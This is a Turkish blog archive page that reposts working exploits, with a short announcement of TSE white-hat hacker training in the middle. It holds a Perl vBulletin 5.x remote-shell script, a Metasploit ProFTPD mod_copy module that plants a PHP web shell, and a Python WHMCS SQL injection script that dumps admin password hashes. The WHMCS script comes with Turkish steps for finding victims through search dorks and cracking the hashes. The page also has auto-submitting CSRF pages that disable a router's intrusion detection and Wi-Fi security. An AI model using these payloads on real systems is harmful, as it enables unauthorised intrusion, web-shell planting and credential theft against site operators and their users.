Archive for Genel

vBulletin 5.x – Remote Code Execution Exploit

wordpress-vulnerability

vBulletin 5.x – Remote Code Execution Exploit
vbulletin 5 versiyonlarıda bulunun uzaktan kod çalıştırma ve shell upload etme açığına ilişkin exploit

#[+] Title:  Vbulletin 5.x - Remote Code Execution Exploit
#[+] Product: vbulletin
#[+] Vendor: http://vbulletin.com
#[+] Vulnerable Version(s): Vbulletin 5.x
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/reza.espargham
# Special Thanks : Mohammad Emad
 
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
 
use LWP::UserAgent;
use LWP::Simple;
$ua = LWP::UserAgent ->new;
 
print "\n\t Enter Target [ Example:http://target.com/forum/ ]";
print "\n\n \t Enter Target : ";
$Target=<STDIN>;
chomp($Target);
 
 
$response=$ua->get($Target . '/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:20:"echo%20$((0xfee10000))";}');
 
$source=$response->decoded_content;
if (($source =~ m/4276158464/i))
{
    $response=$ua->get($Target . '/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:6:"whoami";}');
    $user=$response->decoded_content;
    chomp($user);
    print "\n Target Vulnerable ;)\n";
    while($cmd=="exit")
    {
        print "\n\n$user\$ ";
        $cmd=<STDIN>;
        chomp($cmd);
        if($cmd =~ m/exit/i){exit 0;}
        $len=length($cmd);
        $response=$ua->get($Target . '/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:'.$len.':"'.$cmd.'";}');
        print "\n".$response->decoded_content;
 
   }
}else{print "\ntarget is not Vulnerable\n\n"}

ProFTPD 1.3.5 Mod_Copy Command Execution

ProFTPD 1.3.5 Mod_Copy Command Execution komut çalıştırma açığı bulunmuş olup açığa ilişkin metasploit exploit aşağıdaki gibidir.

##
# This module requires Metasploit: metasploit.com/download
# Current source: github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
 
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ProFTPD 1.3.5 Mod_Copy Command Execution',
      'Description'    => %q{
          This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5.
          Any unauthenticated client can leverage these commands to copy files from any
          part of the filesystem to a chosen destination. The copy commands are executed with
          the rights of the ProFTPD service, which by default runs under the privileges of the
          'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website
          directory, PHP remote code execution is made possible.
      },
      'Author'         =>
        [
          'Vadim Melihow', # Original discovery, Proof of Concept
          'xistence <xistence[at]0x90.nl>' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-3306' ],
          [ 'EDB', '36742' ]
        ],
      'Privileged'     => false,
      'Platform'       => [ 'unix' ],
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'BadChars' => '',
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic gawk bash python perl'
            }
        },
      'Targets'        =>
        [
          [ 'ProFTPD 1.3.5', { } ]
        ],
      'DisclosureDate' => 'Apr 22 2015',
      'DefaultTarget' => 0))
 
    register_options(
      [
        OptPort.new('RPORT', [true, 'HTTP port', 80]),
        OptPort.new('RPORT_FTP', [true, 'FTP port', 21]),
        OptString.new('TARGETURI', [true, 'Base path to the website', '/']),
        OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']),
        OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www'])
      ], self.class)
  end
 
  def check
    ftp_port = datastore['RPORT_FTP']
    sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)
 
    if sock.nil?
      fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
    else
      print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
    end
 
    res = sock.get_once(-1, 10)
    unless res && res.include?('220')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
    end
 
    sock.puts("SITE CPFR /etc/passwd\r\n")
    res = sock.get_once(-1, 10)
    if res && res.include?('350')
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end
 
  def exploit
    ftp_port = datastore['RPORT_FTP']
    get_arg = rand_text_alphanumeric(5+rand(3))
    payload_name = rand_text_alphanumeric(5+rand(3)) + '.php'
 
    sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)
 
    if sock.nil?
      fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
    else
      print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
    end
 
    res = sock.get_once(-1, 10)
    unless res && res.include?('220')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
    end
 
    print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server")
 
    sock.puts("SITE CPFR /proc/self/cmdline\r\n")
    res = sock.get_once(-1, 10)
    unless res && res.include?('350')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline")
    end
 
    sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
    res = sock.get_once(-1, 10)
    unless res && res.include?('250')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file")
    end
 
    sock.put("SITE CPFR #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
    res = sock.get_once(-1, 10)
    unless res && res.include?('350')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file")
    end
 
    sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n")
    res = sock.get_once(-1, 10)
    unless res && res.include?('250')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?")
    end
 
    sock.close
 
    print_status("#{peer} - Executing PHP payload #{target_uri.path}#{payload_name}")
    res = send_request_cgi!(
      'uri' => normalize_uri(target_uri.path, payload_name),
      'method' => 'GET',
      'vars_get' => { get_arg => "nohup #{payload.encoded} &" }
    )
 
    unless res && res.code == 200
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure executing payload")
    end
  end
 
end

TSE Beyaz Şapkalı Hacker Eğitimleri

nagios-history

TSE BEYAZ ŞAPKALI HACKER EĞİTİMLERİNE
2014 MAYIS AYINDA BAŞLAYACAK
-İLK EĞİTİM PROGRAMI İÇİN 200 TALEP ALINDI
-ÜNİVERSİTE ÖN LİSANS VE LİSANS ÖĞRENCİLERİNE EĞİTİMLERDE %50 İNDİRİM UYGULANACAK
2013 yılının Haziran ayında Resmi Gazetede yayınlanan Siber Güvenlik Eylem Planı’nın 12.Maddesi kapsamında TSE’ye verilen görevlerden biri; siber güvenlik testleri yapan ve bu konuda eğitim danışmanlık gibi hizmetler sunan kişi ve firmaların belgelendirilmesidir. Sektörden uzmanlarla beraber TSE bünyesinde oluşturulan Siber Güvenlik Özel Komiteleri bu konuda çalışmalar yürütmüş ve özel sektörün de katkısıyla ‘Sızma Testi, Eğitim ve Danışmanlık Hizmeti Veren Personel ve Firmalar için Yetkilendirme Programı’ ile ‘Sızma Testi Teknik Kriterleri Programı’ adları altında iki çalışma ortaya çıkmıştır.
“Sızma Testi, Eğitim ve Danışmanlık Hizmeti Veren Personel ve Firmalar İçin Yetkilendirme Programı” ile sızma testi yapan firmaların ve kişilerin ne gibi şartları sağlaması gerektiği belirlendi. Program, güvenlik testi yapan firmaların ve kişilerin belirli bir uzmanlık seviyesine ulaşmalarını ve bu uzmanlıklarını belgelendirmelerine imkan tanırken, güvenlik testi yaptıracak kurumlara da çalışacakları kişi ve firmaları belirlerken temel alacakları kriterlerin neler olması gerektiği bilgisini sunacak. Beyaz Hacker’ların temel görevi sistemin açıklarını tespit etmek ve bunları sistem yöneticisine bildirmek olarak tanımlanmaktadır. Böylece güvenlik testi yaptıran kurumlar sistemlerinde açıkların ve risklerin, yasadışı sızmalar olmadan tespit edilmesi imkanına kavuşacak. Programda Beyaz Hacker’lar için tanımlı “Stajyer Sızma Testi Uzmanı”, “Kayıtlı Sızma Testi Uzmanı”, “Sertifikalı Sızma Testi Uzmanı” ve “Kıdemli Sızma Testi Uzmanı” olmak üzere 4 farklı uzmanlık seviyesi belirlendi. Stajyer Sızma Testi Uzmanlığı başlangıç seviyesi olup, bu seviye için herhangi bir şart aranmamaktadır. Kayıtlı Sızma Testi Uzmanlığı için; 2 yıllık bilgi güvenliği veya sızma testi tecrübesi ve buna ek olarak yazılı sınavdan başarılı olmak şartları aranmaktadır. Sertifikalı Sızma Testi Uzmanlığı için; 3 yıllık bilgi güvenliği veya sızma testi tecrübesi şartları aranacak ve uluslararası sertifikasyonlar eşdeğer kabul edilecektir. Kıdemli Sızma Testi Uzmanlığı için ise; 3 yıl bilgi güvenliği alanında çalışmış olmak veya 5 yıl sızma testi yapmış olmak ve bunu belgelendirmek şartı aranacak. Kıdemli Sızma Testi Uzmanlığı için bunlara ek olarak; en az 1
adet ulusal veya uluslararası düzeyde akademik makale yayınlamak veya bir zafiyet keşfinde bulunup TSE’nin “Zafiyet Bildirim Programı”na bildirmek gerekecek. Bu şartlara ek olarak tüm uzmanlık seviyeleri için TSE’nin düzenleyeceği yazılı ve uygulamalı sınavlarda başarılı olmak zorunluluğu bulunacak. Sınavlar hem yazılı hem de uygulamalı olarak yapılacak, yazılı sınavdan geçenler ilgili uzmanlığın şartlarını taşıdıkları takdirde uygulamalı sınava katılabileceklerdir. Kişi belgelendirmesine paralel olarak, firma belgelendirmesi de A, B ve C seviyelerinde sınıflandırıldı. 2014 Mayıs ayı itibarıyla TSE bünyesinde kurulması tamamlanacak olan Capture the Flag (CTF) laboratuvar ortamında, teorik ve uygulamalı eğitim ve sınavlar gerçekleştirilmaye başlanacaktır. Bu eğitimlerde, lise, ön lisans ve lisans öğrencilerine %50 indirim, kamu personellerine %25 indirim uygulanacaktır. Eğitimler için yaklaşık 200 adet talep alınmıştır.
Bilgilerinize sunar, iyi çalışmalar dileriz.

WHMCS 5.2.7 SQL Injection Vulnerabilitiy

Açığın Kullanımına ilişkin açaklama;
1- python exploit indir
2- c:\python ana dizine at
3- “powered by whmcompletesolution” şeklinde arat
4- register.php ye tıkla ve üye ol
5- exploite url yi kaydet
6- komut sisteminden python 28807.py komutunu ver
7- açık varsa görüldüğü gibi md5 hashı görünecektir
8- googleden md5 crack sitelerini bul dene veritabanlarında kayıtlıysa kırılacaktır.

#!/usr/bin/env python
# 2013/10/03 - WHMCS 5.2.7 SQL Injection
# http://localhost.re/p/whmcs-527-vulnerability

url = 'http://clients.target.com/' # wopsie dopsie
user_email = 'mysuper@hacker.account' # just create a dummie account at /register.php
user_pwd = 'hacker' 

import urllib, re, sys
from urllib2 import Request, urlopen
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

def exploit(sql):
	print "Doing stuff: %s" % sql
	r = urlopen(Request('%sclientarea.php?action=details' % url, data="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Changes" % (user[1], 'AES_ENCRYPT(1,1), firstname=%s' % sql, user_email), headers={"User-agent": ua, "Cookie": user[0]})).read()
	return re.search(r'(id="firstname" value="(.*?)")', r).group(2)

def login():
	print "Getting CSRF token"
	r = urlopen(Request('%slogin.php' % url, headers={"User-agent": ua}))
	csrf = re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r.read()).group(2)
	cookie = r.info()['set-cookie'].split(';')[0]
	print "Logging in"
	r = urlopen(Request('%sdologin.php' % url, data="username=%s&password=%s&token=%s" %(user_email, user_pwd, csrf), headers={"User-agent": ua, "Cookie": cookie})).read()
	if 'dologin.php' in r:
		sys.exit('Unable to login')
	else:
		return [cookie, re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r).group(2)]

user = login()
print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)') # get admins
print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)') # just get a count of clients

# oh you want to be evil
#exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as x)#" % user_email)

Router ONO Hitron CDE-30364 – CSRF Vulnerability

Router ONO Hitron CDE-30364 – CSRF Vulnerability açığı bulunmuş olup açığın oluşum yeri ve açıklamalar aşağıdaki gibidir.

# Exploit Title: Router ONO Hitron CDE-30364 - CSRF Vulnerability
# Date: 14-9-2013
# Exploit Author: Matias Mingorance Svensson - matias.ms[at]owasp.org
# Vendor Homepage:
http://www.ono.es/clientes/te-ayudamos/dudas/internet/equipos/hitron/hitron-cde-30364/
# Tested on: Hitron Technologies CDE-30364
# Version HW: 1A
# Version SW: 3.1.0.8-ONO
  
-----------------------------------------------------------------------------------------
Introduction:
-----------------------------------------------------------------------------------------
Hitron Technologies CDE-30364 is a famous ONO Router using, also, a web
management interface in order to set and change device parameters.
  
The Hitron Technologies CDE-30364's web interface (listening on tcp/ip port
80) is prone to CSRF vulnerabilities which allows to change router
parameters and to perform many modifications to the router's parameters.
The default ip adress of this adsl router, used for management purpose, is
192.168.1.1.
  
-----------------------------------------------------------------------------------------
Exploit-1: Enable/Disable Web Site Blocking and add new Key Word/URL
blocking(google in this case)
-----------------------------------------------------------------------------------------
<html>
<body onload="javascript:document.forms[0].submit()">
<H2></H2>
<form method="POST" name="form0" action="
http://192.168.1.1/goform/Keyword?file=parent-website&dir=admin
%2F&checkboxName=on&blockingFlag=1&blockingAlertFlag=&cfKeyWord_Domain=&cfTrusted_MACAddress=&cfTrusted_MACAddress0=
0&cfTrusted_MACAddress1=0&cfTrusted_MACAddress2=0&cfTrusted_MACAddress3=0&cfTrusted_MACAddress4=0&cfTrusted_MACAddre
ss5=0&trustedMAC=&keyword0=google">
</body>
</html>
  
-----------------------------------------------------------------------------------------
Exploit-2: Enable/Disable Intrusion Detection System
-----------------------------------------------------------------------------------------
<html>
<body onload="javascript:document.forms[0].submit()">
<H2></H2>
<form method="POST" name="form0" action="
http://192.168.1.1/goform/Firewall?dir=admin%2F&file=feat-
firewall&ids_mode=0&IntrusionDMode=on&rspToPing=1">
</body>
</html>
  
-----------------------------------------------------------------------------------------
Exploit-3: Disable(None) Wireless Security Mode
-----------------------------------------------------------------------------------------
<html>
<body onload="javascript:document.forms[0].submit()">
<H2></H2>
<form method="POST" name="form0" action="
http://192.168.1.1/goform/Wls?dir=admin
%2F&file=wireless_e&key1=0000000000&key2=0000000000&key3=0000000000&key4=0000000000&k128_1=0000000000000000000000000
0&k128_2=00000000000000000000000000&k128_3=00000000000000000000000000&k128_4=00000000000000000000000000&ssid_list=0&
Encrypt_type=0">
</body>
</html>
  
-----------------------------------------------------------------------------------------
Many other changes can be performed.